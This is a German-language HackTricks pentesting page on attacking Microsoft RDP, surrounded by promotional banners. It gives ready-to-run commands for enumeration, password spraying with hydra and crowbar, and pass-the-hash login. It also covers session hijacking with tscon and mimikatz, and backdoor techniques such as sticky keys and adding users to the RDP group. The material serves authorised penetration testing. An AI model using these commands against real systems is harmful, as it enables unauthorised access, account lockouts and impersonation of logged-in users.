10 KiB
3389 - Pentesting RDP
Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks im PDF-Format herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud github Repositories einreichen.
Sofort verfügbare Einrichtung für Schwachstellenbewertung und Penetrationstests. Führen Sie einen vollständigen Pentest von überall aus mit 20+ Tools & Funktionen durch, die von der Aufklärung bis zum Bericht reichen. Wir ersetzen keine Pentester - wir entwickeln benutzerdefinierte Tools, Erkennungs- und Exploit-Module, um ihnen etwas Zeit zu geben, tiefer zu graben, Shells zu öffnen und Spaß zu haben.
{% embed url="https://pentest-tools.com/" %}
Grundlegende Informationen
Entwickelt von Microsoft, ist das Remote Desktop Protocol (RDP) darauf ausgelegt, eine grafische Schnittstellenverbindung zwischen Computern über ein Netzwerk zu ermöglichen. Um eine solche Verbindung herzustellen, verwendet der Benutzer RDP-Clientsoftware, und gleichzeitig muss der Remote-Computer RDP-Serversoftware ausführen. Diese Einrichtung ermöglicht die nahtlose Steuerung und den Zugriff auf die Desktop-Umgebung eines entfernten Computers, wodurch seine Benutzeroberfläche praktisch auf das lokale Gerät des Benutzers gebracht wird.
Standardport: 3389
PORT STATE SERVICE
3389/tcp open ms-wbt-server
Enumeration
Automatisch
{% code overflow="wrap" %}
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
{% endcode %}
Es überprüft die verfügbare Verschlüsselung und DoS-Schwachstelle (ohne einen DoS-Angriff auf den Dienst zu verursachen) und erhält NTLM-Windows-Informationen (Versionen).
Brute-Force
Seien Sie vorsichtig, Sie könnten Konten sperren
Passwort-Spraying
Seien Sie vorsichtig, Sie könnten Konten sperren
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
Verbindung mit bekannten Anmeldeinformationen/Hash herstellen
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
Überprüfen von bekannten Anmeldedaten gegen RDP-Dienste
rdp_check.py von Impacket ermöglicht es Ihnen zu überprüfen, ob bestimmte Anmeldedaten für einen RDP-Dienst gültig sind:
rdp_check <domain>/<name>:<password>@<IP>
Sofort verfügbare Einrichtung für Schwachstellenanalyse & Penetrationstests. Führen Sie einen vollständigen Pentest von überall aus mit 20+ Tools & Funktionen durch, die von der Aufklärung bis zum Bericht reichen. Wir ersetzen keine Pentester - wir entwickeln benutzerdefinierte Tools, Erkennungs- & Exploit-Module, um ihnen etwas Zeit zu geben, tiefer zu graben, Shells zu öffnen und Spaß zu haben.
{% embed url="https://pentest-tools.com/" %}
Angriffe
Sitzungsraub
Mit SYSTEM-Berechtigungen können Sie auf jede geöffnete RDP-Sitzung eines beliebigen Benutzers zugreifen, ohne das Passwort des Besitzers zu kennen.
Geöffnete Sitzungen abrufen:
query user
Zugriff auf die ausgewählte Sitzung
tscon <ID> /dest:<SESSIONNAME>
Nun werden Sie innerhalb der ausgewählten RDP-Sitzung sein und einen Benutzer mithilfe von nur Windows-Tools und -Funktionen imitieren.
Wichtig: Wenn Sie auf aktive RDP-Sitzungen zugreifen, werden Sie den Benutzer, der sie verwendet hat, abmelden.
Sie könnten Passwörter aus dem Prozess auslesen, aber diese Methode ist viel schneller und ermöglicht es Ihnen, mit den virtuellen Desktops des Benutzers zu interagieren (Passwörter in Notepad ohne auf der Festplatte gespeichert zu werden, andere RDP-Sitzungen auf anderen Maschinen geöffnet...).
Mimikatz
Sie könnten auch Mimikatz verwenden, um dies zu tun:
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
Sticky-keys & Utilman
Durch die Kombination dieser Technik mit Sticky-Keys oder Utilman können Sie jederzeit auf eine administrative CMD und jede RDP-Sitzung zugreifen
Sie können bereits mit einer dieser Techniken kompromittierte RDPs suchen mit: https://github.com/linuz/Sticky-Keys-Slayer
RDP Prozessinjektion
Wenn sich jemand aus einer anderen Domäne oder mit höheren Berechtigungen über RDP auf dem PC anmeldet, auf dem Sie ein Administrator sind, können Sie Ihren Beacon in seinen RDP-Sitzungsprozess injizieren und als er handeln:
{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %} rdp-sessions-abuse.md {% endcontent-ref %}
Benutzer zur RDP-Gruppe hinzufügen
net localgroup "Remote Desktop Users" UserLoginName /add
Automatische Tools
AutoRDPwn ist ein Post-Exploitation-Framework, das in Powershell erstellt wurde und hauptsächlich darauf ausgelegt ist, den Shadow-Angriff auf Microsoft Windows-Computer zu automatisieren. Diese Schwachstelle (von Microsoft als Feature aufgeführt) ermöglicht es einem entfernten Angreifer, den Desktop seines Opfers ohne dessen Zustimmung anzusehen und ihn sogar bei Bedarf mit den nativen Tools des Betriebssystems zu steuern.
- EvilRDP
- Steuern der Maus und Tastatur auf automatisierte Weise über die Befehlszeile
- Steuern der Zwischenablage auf automatisierte Weise über die Befehlszeile
- Ein SOCKS-Proxy vom Client aus starten, der die Netzwerkkommunikation zum Ziel über RDP leitet
- Beliebige SHELL- und PowerShell-Befehle auf dem Ziel ausführen, ohne Dateien hochzuladen
- Dateien auf das Ziel hochladen und von dort herunterladen, auch wenn Dateiübertragungen auf dem Ziel deaktiviert sind
HackTricks Automatische Befehle
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.xyz/pentesting/pentesting-rdp
Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
Sofort verfügbare Einrichtung für Schwachstellenanalyse und Penetrationstests. Führen Sie einen vollständigen Pentest von überall aus mit mehr als 20 Tools & Funktionen durch, die von der Aufklärung bis zum Bericht reichen. Wir ersetzen keine Pentester - wir entwickeln benutzerdefinierte Tools, Erkennungs- und Exploit-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.
{% embed url="https://pentest-tools.com/" %}
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks im PDF-Format herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud github Repositories einreichen.